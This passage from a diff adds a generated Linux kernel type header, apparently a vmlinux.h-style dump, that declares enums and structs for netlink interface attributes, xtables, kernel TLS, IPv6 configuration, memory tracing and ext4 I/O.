IFLA_BRPORT_TOPOLOGY_CHANGE_ACK = 19, + IFLA_BRPORT_CONFIG_PENDING = 20, + IFLA_BRPORT_MESSAGE_AGE_TIMER = 21, + IFLA_BRPORT_FORWARD_DELAY_TIMER = 22, + IFLA_BRPORT_HOLD_TIMER = 23, + IFLA_BRPORT_FLUSH = 24, + IFLA_BRPORT_MULTICAST_ROUTER = 25, + IFLA_BRPORT_PAD = 26, + IFLA_BRPORT_MCAST_FLOOD = 27, + IFLA_BRPORT_MCAST_TO_UCAST = 28, + IFLA_BRPORT_VLAN_TUNNEL = 29, + IFLA_BRPORT_BCAST_FLOOD = 30, + IFLA_BRPORT_GROUP_FWD_MASK = 31, + IFLA_BRPORT_NEIGH_SUPPRESS = 32, + IFLA_BRPORT_ISOLATED = 33, + IFLA_BRPORT_BACKUP_PORT = 34, + IFLA_BRPORT_MRP_RING_OPEN = 35, + IFLA_BRPORT_MRP_IN_OPEN = 36, + IFLA_BRPORT_MCAST_EHT_HOSTS_LIMIT = 37, + IFLA_BRPORT_MCAST_EHT_HOSTS_CNT = 38, + IFLA_BRPORT_LOCKED = 39, + IFLA_BRPORT_MAB = 40, + IFLA_BRPORT_MCAST_N_GROUPS = 41, + IFLA_BRPORT_MCAST_MAX_GROUPS = 42, + IFLA_BRPORT_NEIGH_VLAN_SUPPRESS = 43, + __IFLA_BRPORT_MAX = 44, +}; + +enum { + IFLA_INFO_UNSPEC = 0, + IFLA_INFO_KIND = 1, + IFLA_INFO_DATA = 2, + IFLA_INFO_XSTATS = 3, + IFLA_INFO_SLAVE_KIND = 4, + IFLA_INFO_SLAVE_DATA = 5, + __IFLA_INFO_MAX = 6, +}; + +enum { + IFLA_VF_INFO_UNSPEC = 0, + IFLA_VF_INFO = 1, + __IFLA_VF_INFO_MAX = 2, +}; + +enum { + IFLA_VF_UNSPEC = 0, + IFLA_VF_MAC = 1, + IFLA_VF_VLAN = 2, + IFLA_VF_TX_RATE = 3, + IFLA_VF_SPOOFCHK = 4, + IFLA_VF_LINK_STATE = 5, + IFLA_VF_RATE = 6, + IFLA_VF_RSS_QUERY_EN = 7, + IFLA_VF_STATS = 8, + IFLA_VF_TRUST = 9, + IFLA_VF_IB_NODE_GUID = 10, + IFLA_VF_IB_PORT_GUID = 11, + IFLA_VF_VLAN_LIST = 12, + IFLA_VF_BROADCAST = 13, + __IFLA_VF_MAX = 14, +}; + +struct ifla_vf_mac { + __u32 vf; + __u8 mac[32]; +}; + +struct ifla_vf_broadcast { + __u8 broadcast[32]; +}; + +struct ifla_vf_vlan { + __u32 vf; + __u32 vlan; + __u32 qos; +}; + +enum { + IFLA_VF_VLAN_INFO_UNSPEC = 0, + IFLA_VF_VLAN_INFO = 1, + __IFLA_VF_VLAN_INFO_MAX = 2, +}; + +struct ifla_vf_vlan_info { + __u32 vf; + __u32 vlan; + __u32 qos; + __be16 vlan_proto; +}; + +struct ifla_vf_tx_rate { + __u32 vf; + __u32 rate; +}; + +struct ifla_vf_rate { + __u32 vf; + __u32 min_tx_rate; + __u32 max_tx_rate; +}; + +struct ifla_vf_spoofchk { + __u32 vf; + __u32 setting; +}; + +struct ifla_vf_link_state { + __u32 vf; + __u32 link_state; +}; + +struct ifla_vf_rss_query_en { + __u32 vf; + __u32 setting; +}; + +enum { + IFLA_VF_STATS_RX_PACKETS = 0, + IFLA_VF_STATS_TX_PACKETS = 1, + IFLA_VF_STATS_RX_BYTES = 2, + IFLA_VF_STATS_TX_BYTES = 3, + IFLA_VF_STATS_BROADCAST = 4, + IFLA_VF_STATS_MULTICAST = 5, + IFLA_VF_STATS_PAD = 6, + IFLA_VF_STATS_RX_DROPPED = 7, + IFLA_VF_STATS_TX_DROPPED = 8, + __IFLA_VF_STATS_MAX = 9, +}; + +struct ifla_vf_trust { + __u32 vf; + __u32 setting; +}; + +enum { + IFLA_VF_PORT_UNSPEC = 0, + IFLA_VF_PORT = 1, + __IFLA_VF_PORT_MAX = 2, +}; + +enum { + IFLA_PORT_UNSPEC = 0, + IFLA_PORT_VF = 1, + IFLA_PORT_PROFILE = 2, + IFLA_PORT_VSI_TYPE = 3, + IFLA_PORT_INSTANCE_UUID = 4, + IFLA_PORT_HOST_UUID = 5, + IFLA_PORT_REQUEST = 6, + IFLA_PORT_RESPONSE = 7, + __IFLA_PORT_MAX = 8, +}; + +struct if_stats_msg { + __u8 family; + __u8 pad1; + __u16 pad2; + __u32 ifindex; + __u32 filter_mask; +}; + +enum { + IFLA_STATS_GETSET_UNSPEC = 0, + IFLA_STATS_GET_FILTERS = 1, + IFLA_STATS_SET_OFFLOAD_XSTATS_L3_STATS = 2, + __IFLA_STATS_GETSET_MAX = 3, +}; + +enum { + IFLA_OFFLOAD_XSTATS_UNSPEC = 0, + IFLA_OFFLOAD_XSTATS_CPU_HIT = 1, + IFLA_OFFLOAD_XSTATS_HW_S_INFO = 2, + IFLA_OFFLOAD_XSTATS_L3_STATS = 3, + __IFLA_OFFLOAD_XSTATS_MAX = 4, +}; + +enum { + IFLA_OFFLOAD_XSTATS_HW_S_INFO_UNSPEC = 0, + IFLA_OFFLOAD_XSTATS_HW_S_INFO_REQUEST = 1, + IFLA_OFFLOAD_XSTATS_HW_S_INFO_USED = 2, + __IFLA_OFFLOAD_XSTATS_HW_S_INFO_MAX = 3, +}; + +enum { + XDP_ATTACHED_NONE = 0, + XDP_ATTACHED_DRV = 1, + XDP_ATTACHED_SKB = 2, + XDP_ATTACHED_HW = 3, + XDP_ATTACHED_MULTI = 4, +}; + +enum { + IFLA_XDP_UNSPEC = 0, + IFLA_XDP_FD = 1, + IFLA_XDP_ATTACHED = 2, + IFLA_XDP_FLAGS = 3, + IFLA_XDP_PROG_ID = 4, + IFLA_XDP_DRV_PROG_ID = 5, + IFLA_XDP_SKB_PROG_ID = 6, + IFLA_XDP_HW_PROG_ID = 7, + IFLA_XDP_EXPECTED_FD = 8, + __IFLA_XDP_MAX = 9, +}; + +enum { + IFLA_EVENT_NONE = 0, + IFLA_EVENT_REBOOT = 1, + IFLA_EVENT_FEATURES = 2, + IFLA_EVENT_BONDING_FAILOVER = 3, + IFLA_EVENT_NOTIFY_PEERS = 4, + IFLA_EVENT_IGMP_RESEND = 5, + IFLA_EVENT_BONDING_OPTIONS = 6, +}; + +struct netdev_hw_addr { + struct list_head list; + struct rb_node node; + unsigned char addr[32]; + unsigned char type; + bool global_use; + int sync_cnt; + int refcount; + int synced; + struct callback_head callback_head; +}; + +enum netdev_offload_xstats_type { + NETDEV_OFFLOAD_XSTATS_TYPE_L3 = 1, +}; + +enum { + IFLA_BRIDGE_FLAGS = 0, + IFLA_BRIDGE_MODE = 1, + IFLA_BRIDGE_VLAN_INFO = 2, + IFLA_BRIDGE_VLAN_TUNNEL_INFO = 3, + IFLA_BRIDGE_MRP = 4, + IFLA_BRIDGE_CFM = 5, + IFLA_BRIDGE_MST = 6, + __IFLA_BRIDGE_MAX = 7, +}; + +struct br_port_msg { + __u8 family; + __u32 ifindex; +}; + +struct br_mdb_entry { + __u32 ifindex; + __u8 state; + __u8 flags; + __u16 vid; + struct { + union { + __be32 ip4; + struct in6_addr ip6; + unsigned char mac_addr[6]; + } u; + __be16 proto; + } addr; +}; + +enum { + MDBA_SET_ENTRY_UNSPEC = 0, + MDBA_SET_ENTRY = 1, + MDBA_SET_ENTRY_ATTRS = 2, + __MDBA_SET_ENTRY_MAX = 3, +}; + +enum { + BR_MCAST_DIR_RX = 0, + BR_MCAST_DIR_TX = 1, + BR_MCAST_DIR_SIZE = 2, +}; + +struct rta_cacheinfo { + __u32 rta_clntref; + __u32 rta_lastuse; + __s32 rta_expires; + __u32 rta_error; + __u32 rta_used; + __u32 rta_id; + __u32 rta_ts; + __u32 rta_tsage; +}; + +typedef int (*rtnl_doit_func)(struct sk_buff *, struct nlmsghdr *, struct netlink_ext_ack *); + +typedef int (*rtnl_dumpit_func)(struct sk_buff *, struct netlink_callback *); + +enum rtnl_kinds { + RTNL_KIND_NEW = 0, + RTNL_KIND_DEL = 1, + RTNL_KIND_GET = 2, + RTNL_KIND_SET = 3, +}; + +struct rtnl_af_ops { + struct list_head list; + int family; + int (*fill_link_af)(struct sk_buff *, const struct net_device *, u32); + size_t (*get_link_af_size)(const struct net_device *, u32); + int (*validate_link_af)(const struct net_device *, const struct nlattr *, struct netlink_ext_ack *); + int (*set_link_af)(struct net_device *, const struct nlattr *, struct netlink_ext_ack *); + int (*fill_stats_af)(struct sk_buff *, const struct net_device *); + size_t (*get_stats_af_size)(const struct net_device *); +}; + +struct rtnl_link { + rtnl_doit_func doit; + rtnl_dumpit_func dumpit; + struct module *owner; + unsigned int flags; + struct callback_head rcu; +}; + +struct rtnl_newlink_tbs { + struct nlattr *tb[65]; + struct nlattr *attr[51]; + struct nlattr *slave_attr[44]; +}; + +struct rtnl_offload_xstats_request_used { + bool request; + bool used; +}; + +struct rtnl_stats_dump_filters { + u32 mask[6]; +}; + +struct rtnl_mdb_dump_ctx { + long int idx; +}; + +enum audit_nfcfgop { + AUDIT_XT_OP_REGISTER = 0, + AUDIT_XT_OP_REPLACE = 1, + AUDIT_XT_OP_UNREGISTER = 2, + AUDIT_NFT_OP_TABLE_REGISTER = 3, + AUDIT_NFT_OP_TABLE_UNREGISTER = 4, + AUDIT_NFT_OP_CHAIN_REGISTER = 5, + AUDIT_NFT_OP_CHAIN_UNREGISTER = 6, + AUDIT_NFT_OP_RULE_REGISTER = 7, + AUDIT_NFT_OP_RULE_UNREGISTER = 8, + AUDIT_NFT_OP_SET_REGISTER = 9, + AUDIT_NFT_OP_SET_UNREGISTER = 10, + AUDIT_NFT_OP_SETELEM_REGISTER = 11, + AUDIT_NFT_OP_SETELEM_UNREGISTER = 12, + AUDIT_NFT_OP_GEN_REGISTER = 13, + AUDIT_NFT_OP_OBJ_REGISTER = 14, + AUDIT_NFT_OP_OBJ_UNREGISTER = 15, + AUDIT_NFT_OP_OBJ_RESET = 16, + AUDIT_NFT_OP_FLOWTABLE_REGISTER = 17, + AUDIT_NFT_OP_FLOWTABLE_UNREGISTER = 18, + AUDIT_NFT_OP_INVALID = 19, +}; + +struct xt_entry_match { + union { + struct { + __u16 match_size; + char name[29]; + __u8 revision; + } user; + struct { + __u16 match_size; + struct xt_match *match; + } kernel; + __u16 match_size; + } u; + unsigned char data[0]; +}; + +struct xt_entry_target { + union { + struct { + __u16 target_size; + char name[29]; + __u8 revision; + } user; + struct { + __u16 target_size; + struct xt_target *target; + } kernel; + __u16 target_size; + } u; + unsigned char data[0]; +}; + +struct xt_standard_target { + struct xt_entry_target target; + int verdict; +}; + +struct xt_error_target { + struct xt_entry_target target; + char errorname[30]; +}; + +struct xt_counters_info { + char name[32]; + unsigned int num_counters; + struct xt_counters counters[0]; +}; + +struct xt_table_info; + +struct xt_table { + struct list_head list; + unsigned int valid_hooks; + struct xt_table_info *private; + struct nf_hook_ops *ops; + struct module *me; + u_int8_t af; + int priority; + const char name[32]; +}; + +struct xt_table_info { + unsigned int size; + unsigned int number; + unsigned int initial_entries; + unsigned int hook_entry[5]; + unsigned int underflow[5]; + unsigned int stacksize; + void ***jumpstack; + unsigned char entries[0]; +}; + +struct xt_percpu_counter_alloc_state { + unsigned int off; + const char *mem; +}; + +struct xt_template { + struct list_head list; + int (*table_init)(struct net *); + struct module *me; + char name[32]; +}; + +struct xt_pernet { + struct list_head tables[11]; +}; + +struct xt_af { + struct mutex mutex; + struct list_head match; + struct list_head target; +}; + +struct nf_mttg_trav { + struct list_head *head; + struct list_head *curr; + uint8_t class; +}; + +enum { + MTTG_TRAV_INIT = 0, + MTTG_TRAV_NFP_UNSPEC = 1, + MTTG_TRAV_NFP_SPEC = 2, + MTTG_TRAV_DONE = 3, +}; + +struct packet_type { + __be16 type; + bool ignore_outgoing; + struct net_device *dev; + netdevice_tracker dev_tracker; + int (*func)(struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); + void (*list_func)(struct list_head *, struct packet_type *, struct net_device *); + bool (*id_match)(struct packet_type *, struct sock *); + struct net *af_packet_net; + void *af_packet_priv; + struct list_head list; +}; + +struct netdev_notifier_change_info { + struct netdev_notifier_info info; + unsigned int flags_changed; +}; + +struct arpreq { + struct sockaddr arp_pa; + struct sockaddr arp_ha; + int arp_flags; + struct sockaddr arp_netmask; + char arp_dev[16]; +}; + +struct arphdr { + __be16 ar_hrd; + __be16 ar_pro; + unsigned char ar_hln; + unsigned char ar_pln; + __be16 ar_op; +}; + +enum { + NEIGH_ARP_TABLE = 0, + NEIGH_ND_TABLE = 1, + NEIGH_DN_TABLE = 2, + NEIGH_NR_TABLES = 3, + NEIGH_LINK_TABLE = 3, +}; + +struct neigh_seq_state { + struct seq_net_private p; + struct neigh_table *tbl; + struct neigh_hash_table *nht; + void * (*neigh_sub_iter)(struct neigh_seq_state *, struct neighbour *, loff_t *); + unsigned int bucket; + unsigned int flags; +}; + +struct neighbour_cb { + long unsigned int sched_next; + unsigned int flags; +}; + +typedef struct { + char ax25_call[7]; +} ax25_address; + +enum { + AX25_VALUES_IPDEFMODE = 0, + AX25_VALUES_AXDEFMODE = 1, + AX25_VALUES_BACKOFF = 2, + AX25_VALUES_CONMODE = 3, + AX25_VALUES_WINDOW = 4, + AX25_VALUES_EWINDOW = 5, + AX25_VALUES_T1 = 6, + AX25_VALUES_T2 = 7, + AX25_VALUES_T3 = 8, + AX25_VALUES_IDLE = 9, + AX25_VALUES_N2 = 10, + AX25_VALUES_PACLEN = 11, + AX25_VALUES_PROTOCOL = 12, + AX25_VALUES_DS_TIMEOUT = 13, + AX25_MAX_VALUES = 14, +}; + +struct ax25_dev { + struct ax25_dev *next; + struct net_device *dev; + netdevice_tracker dev_tracker; + struct net_device *forward; + struct ctl_table_header *sysheader; + int values[14]; + refcount_t refcount; + bool device_up; +}; + +typedef struct ax25_dev ax25_dev; + +struct gre_protocol { + int (*handler)(struct sk_buff *); + void (*err_handler)(struct sk_buff *, u32); +}; + +enum __sk_action { + __SK_DROP = 0, + __SK_PASS = 1, + __SK_REDIRECT = 2, + __SK_NONE = 3, +}; + +enum sk_psock_state_bits { + SK_PSOCK_TX_ENABLED = 0, +}; + +struct tls_crypto_info { + __u16 version; + __u16 cipher_type; +}; + +struct tls12_crypto_info_aes_gcm_128 { + struct tls_crypto_info info; + unsigned char iv[8]; + unsigned char key[16]; + unsigned char salt[4]; + unsigned char rec_seq[8]; +}; + +struct tls12_crypto_info_aes_gcm_256 { + struct tls_crypto_info info; + unsigned char iv[8]; + unsigned char key[32]; + unsigned char salt[4]; + unsigned char rec_seq[8]; +}; + +struct tls12_crypto_info_chacha20_poly1305 { + struct tls_crypto_info info; + unsigned char iv[12]; + unsigned char key[32]; + unsigned char salt[0]; + unsigned char rec_seq[8]; +}; + +struct tls12_crypto_info_sm4_gcm { + struct tls_crypto_info info; + unsigned char iv[8]; + unsigned char key[16]; + unsigned char salt[4]; + unsigned char rec_seq[8]; +}; + +struct tls12_crypto_info_sm4_ccm { + struct tls_crypto_info info; + unsigned char iv[8]; + unsigned char key[16]; + unsigned char salt[4]; + unsigned char rec_seq[8]; +}; + +struct tx_work { + struct delayed_work work; + struct sock *sk; +}; + +struct tls_rec; + +struct tls_sw_context_tx { + struct crypto_aead *aead_send; + struct crypto_wait async_wait; + struct tx_work tx_work; + struct tls_rec *open_rec; + struct list_head tx_list; + atomic_t encrypt_pending; + spinlock_t encrypt_compl_lock; + int async_notify; + u8 async_capable: 1; + long unsigned int tx_bitmask; +}; + +struct tls_prot_info { + u16 version; + u16 cipher_type; + u16 prepend_size; + u16 tag_size; + u16 overhead_size; + u16 iv_size; + u16 salt_size; + u16 rec_seq_size; + u16 aad_size; + u16 tail_size; +}; + +struct cipher_context { + char *iv; + char *rec_seq; +}; + +union tls_crypto_context { + struct tls_crypto_info info; + union { + struct tls12_crypto_info_aes_gcm_128 aes_gcm_128; + struct tls12_crypto_info_aes_gcm_256 aes_gcm_256; + struct tls12_crypto_info_chacha20_poly1305 chacha20_poly1305; + struct tls12_crypto_info_sm4_gcm sm4_gcm; + struct tls12_crypto_info_sm4_ccm sm4_ccm; + }; +}; + +struct tls_context { + struct tls_prot_info prot_info; + u8 tx_conf: 3; + u8 rx_conf: 3; + u8 zerocopy_sendfile: 1; + u8 rx_no_pad: 1; + int (*push_pending_record)(struct sock *, int); + void (*sk_write_space)(struct sock *); + void *priv_ctx_tx; + void *priv_ctx_rx; + struct net_device *netdev; + struct cipher_context tx; + struct cipher_context rx; + struct scatterlist *partially_sent_record; + u16 partially_sent_offset; + bool in_tcp_sendpages; + bool pending_open_record_frags; + struct mutex tx_lock; + long unsigned int flags; + struct proto *sk_proto; + struct sock *sk; + void (*sk_destruct)(struct sock *); + union tls_crypto_context crypto_send; + union tls_crypto_context crypto_recv; + struct list_head list; + refcount_t refcount; + struct callback_head rcu; +}; + +enum { + TCP_BPF_IPV4 = 0, + TCP_BPF_IPV6 = 1, + TCP_BPF_NUM_PROTS = 2, +}; + +enum { + TCP_BPF_BASE = 0, + TCP_BPF_TX = 1, + TCP_BPF_RX = 2, + TCP_BPF_TXRX = 3, + TCP_BPF_NUM_CFGS = 4, +}; + +enum { + IFLA_INET6_UNSPEC = 0, + IFLA_INET6_FLAGS = 1, + IFLA_INET6_CONF = 2, + IFLA_INET6_STATS = 3, + IFLA_INET6_MCAST = 4, + IFLA_INET6_CACHEINFO = 5, + IFLA_INET6_ICMP6STATS = 6, + IFLA_INET6_TOKEN = 7, + IFLA_INET6_ADDR_GEN_MODE = 8, + IFLA_INET6_RA_MTU = 9, + __IFLA_INET6_MAX = 10, +}; + +enum in6_addr_gen_mode { + IN6_ADDR_GEN_MODE_EUI64 = 0, + IN6_ADDR_GEN_MODE_NONE = 1, + IN6_ADDR_GEN_MODE_STABLE_PRIVACY = 2, + IN6_ADDR_GEN_MODE_RANDOM = 3, +}; + +struct ifla_cacheinfo { + __u32 max_reasm_len; + __u32 tstamp; + __u32 reachable_time; + __u32 retrans_time; +}; + +struct netdev_notifier_changeupper_info { + struct netdev_notifier_info info; + struct net_device *upper_dev; + bool master; + bool linking; + void *upper_info; +}; + +struct ifaddrmsg { + __u8 ifa_family; + __u8 ifa_prefixlen; + __u8 ifa_flags; + __u8 ifa_scope; + __u32 ifa_index; +}; + +enum { + IFA_UNSPEC = 0, + IFA_ADDRESS = 1, + IFA_LOCAL = 2, + IFA_LABEL = 3, + IFA_BROADCAST = 4, + IFA_ANYCAST = 5, + IFA_CACHEINFO = 6, + IFA_MULTICAST = 7, + IFA_FLAGS = 8, + IFA_RT_PRIORITY = 9, + IFA_TARGET_NETNSID = 10, + IFA_PROTO = 11, + __IFA_MAX = 12, +}; + +struct ifa_cacheinfo { + __u32 ifa_prefered; + __u32 ifa_valid; + __u32 cstamp; + __u32 tstamp; +}; + +struct prefixmsg { + unsigned char prefix_family; + unsigned char prefix_pad1; + short unsigned int prefix_pad2; + int prefix_ifindex; + unsigned char prefix_type; + unsigned char prefix_len; + unsigned char prefix_flags; + unsigned char prefix_pad3; +}; + +enum { + PREFIX_UNSPEC = 0, + PREFIX_ADDRESS = 1, + PREFIX_CACHEINFO = 2, + __PREFIX_MAX = 3, +}; + +struct prefix_cacheinfo { + __u32 preferred_time; + __u32 valid_time; +}; + +struct in6_ifreq { + struct in6_addr ifr6_addr; + __u32 ifr6_prefixlen; + int ifr6_ifindex; +}; + +enum { + DEVCONF_FORWARDING = 0, + DEVCONF_HOPLIMIT = 1, + DEVCONF_MTU6 = 2, + DEVCONF_ACCEPT_RA = 3, + DEVCONF_ACCEPT_REDIRECTS = 4, + DEVCONF_AUTOCONF = 5, + DEVCONF_DAD_TRANSMITS = 6, + DEVCONF_RTR_SOLICITS = 7, + DEVCONF_RTR_SOLICIT_INTERVAL = 8, + DEVCONF_RTR_SOLICIT_DELAY = 9, + DEVCONF_USE_TEMPADDR = 10, + DEVCONF_TEMP_VALID_LFT = 11, + DEVCONF_TEMP_PREFERED_LFT = 12, + DEVCONF_REGEN_MAX_RETRY = 13, + DEVCONF_MAX_DESYNC_FACTOR = 14, + DEVCONF_MAX_ADDRESSES = 15, + DEVCONF_FORCE_MLD_VERSION = 16, + DEVCONF_ACCEPT_RA_DEFRTR = 17, + DEVCONF_ACCEPT_RA_PINFO = 18, + DEVCONF_ACCEPT_RA_RTR_PREF = 19, + DEVCONF_RTR_PROBE_INTERVAL = 20, + DEVCONF_ACCEPT_RA_RT_INFO_MAX_PLEN = 21, + DEVCONF_PROXY_NDP = 22, + DEVCONF_OPTIMISTIC_DAD = 23, + DEVCONF_ACCEPT_SOURCE_ROUTE = 24, + DEVCONF_MC_FORWARDING = 25, + DEVCONF_DISABLE_IPV6 = 26, + DEVCONF_ACCEPT_DAD = 27, + DEVCONF_FORCE_TLLAO = 28, + DEVCONF_NDISC_NOTIFY = 29, + DEVCONF_MLDV1_UNSOLICITED_REPORT_INTERVAL = 30, + DEVCONF_MLDV2_UNSOLICITED_REPORT_INTERVAL = 31, + DEVCONF_SUPPRESS_FRAG_NDISC = 32, + DEVCONF_ACCEPT_RA_FROM_LOCAL = 33, + DEVCONF_USE_OPTIMISTIC = 34, + DEVCONF_ACCEPT_RA_MTU = 35, + DEVCONF_STABLE_SECRET = 36, + DEVCONF_USE_OIF_ADDRS_ONLY = 37, + DEVCONF_ACCEPT_RA_MIN_HOP_LIMIT = 38, + DEVCONF_IGNORE_ROUTES_WITH_LINKDOWN = 39, + DEVCONF_DROP_UNICAST_IN_L2_MULTICAST = 40, + DEVCONF_DROP_UNSOLICITED_NA = 41, + DEVCONF_KEEP_ADDR_ON_DOWN = 42, + DEVCONF_RTR_SOLICIT_MAX_INTERVAL = 43, + DEVCONF_SEG6_ENABLED = 44, + DEVCONF_SEG6_REQUIRE_HMAC = 45, + DEVCONF_ENHANCED_DAD = 46, + DEVCONF_ADDR_GEN_MODE = 47, + DEVCONF_DISABLE_POLICY = 48, + DEVCONF_ACCEPT_RA_RT_INFO_MIN_PLEN = 49, + DEVCONF_NDISC_TCLASS = 50, + DEVCONF_RPL_SEG_ENABLED = 51, + DEVCONF_RA_DEFRTR_METRIC = 52, + DEVCONF_IOAM6_ENABLED = 53, + DEVCONF_IOAM6_ID = 54, + DEVCONF_IOAM6_ID_WIDE = 55, + DEVCONF_NDISC_EVICT_NOCARRIER = 56, + DEVCONF_ACCEPT_UNTRACKED_NA = 57, + DEVCONF_MAX = 58, +}; + +enum { + INET6_IFADDR_STATE_PREDAD = 0, + INET6_IFADDR_STATE_DAD = 1, + INET6_IFADDR_STATE_POSTDAD = 2, + INET6_IFADDR_STATE_ERRDAD = 3, + INET6_IFADDR_STATE_DEAD = 4, +}; + +union fwnet_hwaddr { + u8 u[16]; + struct { + __be64 uniq_id; + u8 max_rec; + u8 sspd; + u8 fifo[6]; + } uc; +}; + +struct in6_validator_info { + struct in6_addr i6vi_addr; + struct inet6_dev *i6vi_dev; + struct netlink_ext_ack *extack; +}; + +struct ifa6_config { + const struct in6_addr *pfx; + unsigned int plen; + u8 ifa_proto; + const struct in6_addr *peer_pfx; + u32 rt_priority; + u32 ifa_flags; + u32 preferred_lft; + u32 valid_lft; + u16 scope; +}; + +struct netconfmsg { + __u8 ncm_family; +}; + +enum cleanup_prefix_rt_t { + CLEANUP_PREFIX_RT_NOP = 0, + CLEANUP_PREFIX_RT_DEL = 1, + CLEANUP_PREFIX_RT_EXPIRE = 2, +}; + +enum { + IPV6_SADDR_RULE_INIT = 0, + IPV6_SADDR_RULE_LOCAL = 1, + IPV6_SADDR_RULE_SCOPE = 2, + IPV6_SADDR_RULE_PREFERRED = 3, + IPV6_SADDR_RULE_HOA = 4, + IPV6_SADDR_RULE_OIF = 5, + IPV6_SADDR_RULE_LABEL = 6, + IPV6_SADDR_RULE_PRIVACY = 7, + IPV6_SADDR_RULE_ORCHID = 8, + IPV6_SADDR_RULE_PREFIX = 9, + IPV6_SADDR_RULE_MAX = 10, +}; + +struct ipv6_saddr_score { + int rule; + int addr_type; + struct inet6_ifaddr *ifa; + long unsigned int scorebits[1]; + int scopedist; + int matchlen; +}; + +struct ipv6_saddr_dst { + const struct in6_addr *addr; + int ifindex; + int scope; + int label; + unsigned int prefs; +}; + +struct if6_iter_state { + struct seq_net_private p; + int bucket; + int offset; +}; + +enum addr_type_t { + UNICAST_ADDR = 0, + MULTICAST_ADDR = 1, + ANYCAST_ADDR = 2, +}; + +struct inet6_fill_args { + u32 portid; + u32 seq; + int event; + unsigned int flags; + int netnsid; + int ifindex; + enum addr_type_t type; +}; + +enum { + DAD_PROCESS = 0, + DAD_BEGIN = 1, + DAD_ABORT = 2, +}; + +struct radix_tree_iter { + long unsigned int index; + long unsigned int next_index; + long unsigned int tags; + struct xa_node *node; +}; + +enum { + RADIX_TREE_ITER_TAG_MASK = 15, + RADIX_TREE_ITER_TAGGED = 16, + RADIX_TREE_ITER_CONTIG = 32, +}; + +struct ida_bitmap { + long unsigned int bitmap[16]; +}; + +struct irq_stack { + char stack[16384]; +}; + +struct cpuid_regs { + u32 eax; + u32 ebx; + u32 ecx; + u32 edx; +}; + +enum pconfig_target { + INVALID_TARGET = 0, + MKTME_TARGET = 1, + PCONFIG_TARGET_NR = 2, +}; + +enum { + PCONFIG_CPUID_SUBLEAF_INVALID = 0, + PCONFIG_CPUID_SUBLEAF_TARGETID = 1, +}; + +enum { + NMI_LOCAL = 0, + NMI_UNKNOWN = 1, + NMI_SERR = 2, + NMI_IO_CHECK = 3, + NMI_MAX = 4, +}; + +typedef int (*nmi_handler_t)(unsigned int, struct pt_regs *); + +struct nmiaction { + struct list_head list; + nmi_handler_t handler; + u64 max_duration; + long unsigned int flags; + const char *name; +}; + +enum kcore_type { + KCORE_TEXT = 0, + KCORE_VMALLOC = 1, + KCORE_RAM = 2, + KCORE_VMEMMAP = 3, + KCORE_USER = 4, +}; + +struct kcore_list { + struct list_head list; + long unsigned int addr; + size_t size; + int type; +}; + +struct x86_mapping_info { + void * (*alloc_pgt_page)(void *); + void *context; + long unsigned int page_flag; + long unsigned int offset; + bool direct_gbpages; + long unsigned int kernpg_flag; +}; + +enum sysctl_writes_mode { + SYSCTL_WRITES_LEGACY = -1, + SYSCTL_WRITES_WARN = 0, + SYSCTL_WRITES_STRICT = 1, +}; + +struct do_proc_dointvec_minmax_conv_param { + int *min; + int *max; +}; + +struct do_proc_douintvec_minmax_conv_param { + unsigned int *min; + unsigned int *max; +}; + +typedef int (*dynevent_check_arg_fn_t)(void *); + +struct dynevent_arg { + const char *str; + char separator; +}; + +struct dynevent_arg_pair { + const char *lhs; + const char *rhs; + char operator; + char separator; +}; + +struct bpf_iter_seq_prog_info { + u32 prog_id; +}; + +struct bpf_iter__bpf_prog { + union { + struct bpf_iter_meta *meta; + }; + union { + struct bpf_prog *prog; + }; +}; + +struct bpf_binary_header { + u32 size; + long: 0; + u8 image[0]; +}; + +typedef union { +} release_pages_arg; + +struct trace_event_raw_mm_lru_insertion { + struct trace_entry ent; + struct folio *folio; + long unsigned int pfn; + enum lru_list lru; + long unsigned int flags; + char __data[0]; +}; + +struct trace_event_raw_mm_lru_activate { + struct trace_entry ent; + struct folio *folio; + long unsigned int pfn; + char __data[0]; +}; + +struct trace_event_data_offsets_mm_lru_insertion {}; + +struct trace_event_data_offsets_mm_lru_activate {}; + +typedef void (*btf_trace_mm_lru_insertion)(void *, struct folio *); + +typedef void (*btf_trace_mm_lru_activate)(void *, struct folio *); + +struct lru_rotate { + local_lock_t lock; + struct folio_batch fbatch; +}; + +struct cpu_fbatches { + local_lock_t lock; + struct folio_batch lru_add; + struct folio_batch lru_deactivate_file; + struct folio_batch lru_deactivate; + struct folio_batch lru_lazyfree; + struct folio_batch activate; +}; + +typedef void (*move_fn_t)(struct lruvec *, struct folio *); + +typedef struct { + long unsigned int pd; +} hugepd_t; + +struct follow_page_context { + struct dev_pagemap *pgmap; + unsigned int page_mask; +}; + +enum { + PERCPU_REF_INIT_ATOMIC = 1, + PERCPU_REF_INIT_DEAD = 2, + PERCPU_REF_ALLOW_REINIT = 4, +}; + +union swap_header { + struct { + char reserved[4086]; + char magic[10]; + } magic; + struct { + char bootbits[1024]; + __u32 version; + __u32 last_page; + __u32 nr_badpages; + unsigned char sws_uuid[16]; + unsigned char sws_volume[16]; + __u32 padding[117]; + __u32 badpages[1]; + } info; +}; + +struct swap_extent { + struct rb_node rb_node; + long unsigned int start_page; + long unsigned int nr_pages; + sector_t start_block; +}; + +typedef int rmap_t; + +typedef int get_block_t(struct inode *, sector_t, struct buffer_head *, int); + +struct folio_iter { + struct folio *folio; + size_t offset; + size_t length; + struct folio *_next; + size_t _seg_count; + int _i; +}; + +struct mpage_readpage_args { + struct bio *bio; + struct folio *folio; + unsigned int nr_pages; + bool is_readahead; + sector_t last_block_in_bio; + struct buffer_head map_bh; + long unsigned int first_logical_block; + get_block_t *get_block; +}; + +struct mpage_data { + struct bio *bio; + sector_t last_block_in_bio; + get_block_t *get_block; +}; + +typedef short unsigned int __kernel_uid16_t; + +typedef short unsigned int __kernel_gid16_t; + +typedef __kernel_uid16_t uid16_t; + +typedef __kernel_gid16_t gid16_t; + +struct ext4_io_end_vec { + struct list_head list; + loff_t offset; + ssize_t size; +}; + +struct ext4_io_end { + struct list_head list; + handle_t *handle; + struct inode *inode; + struct bio *bio; + unsigned int flag; + refcount_t count; + struct list_head list_vec; +}; + +typedef struct ext4_io_end ext4_io_end_t; + +struct ext4_io_submit { + struct writeback_control *io_wbc; + struct bio *io_bio; + ext4_io_end_t *io_end; + sector_t io_next_block; +}; + +typedef enum { + EXT4_IGET_NORMAL = 0, + EXT4_IGET_SPECIAL = 1, + EXT4_IGET_HANDLE = 2, + EXT4_IGET_BAD = 4, +} 